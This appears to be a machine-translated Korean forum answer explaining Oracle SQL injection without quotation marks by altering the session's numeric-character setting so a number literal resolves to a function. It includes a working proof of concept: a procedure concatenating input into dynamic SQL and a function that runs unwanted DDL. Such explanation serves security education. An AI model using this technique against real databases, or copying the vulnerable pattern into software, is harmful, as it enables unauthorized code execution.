예, 매개 변수에 따옴표를 제공하지 않고 SQL 주입 공격을 수행 할 수 있습니다.
이를 수행하는 방법은 숫자 및 / 또는 날짜를 처리하는 방법과 관련이 있습니다. 세션 레벨에서 날짜 또는 숫자 형식을 지정할 수 있습니다. 이것을 조작하면 어떤 캐릭터로도 주입 할 수 있습니다.
영국과 미국에서는 기본적으로 쉼표를 사용하여 천 단위 구분 기호를 숫자로 표시하고 소수점을 완전히 정지합니다. 다음을 실행하여 이러한 기본값을 변경할 수 있습니다.
alter session set nls_numeric_characters = 'PZ';
즉, "P"는 이제 소수점이고 "Z"는 천 단위 구분 기호입니다. 그래서:
0P01
숫자는 0.01입니다. 그러나 함수 P01을 작성하면 숫자 변환 전에 오브젝트 참조가 선택됩니다. 이를 통해 다음과 같이 데이터베이스에서 기능을 실행할 수 있습니다.
기본 "ID로 가져 오기"기능을 작성하십시오.
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
또한 원하지 않는 일을하는 함수 P01을 작성하십시오 (이 경우 테이블을 작성하지만 아이디어를 얻습니다).
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
그리고 우리는 가야합니다 :
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
어디에도 따옴표는 없지만 "숨겨진"기능 P01을 실행하고 테이블을 만들었습니다 t
!
실제로는 어려울 수 있지만 (내부 지식 / 도움이 필요할 수 있음) 인용 부호없이 SQL을 삽입 할 수 있음을 보여줍니다. (가) 변경하면 nls_date_format
비슷한 일을 할 수 있습니다.
숫자에 대한 원래의 발견은 David Litchfield가했으며 여기에서 그의 논문을 읽을 수 있습니다 . 날짜를 활용하는 방법에 대한 Tom Kyte의 토론은 여기서 확인할 수 있습니다 .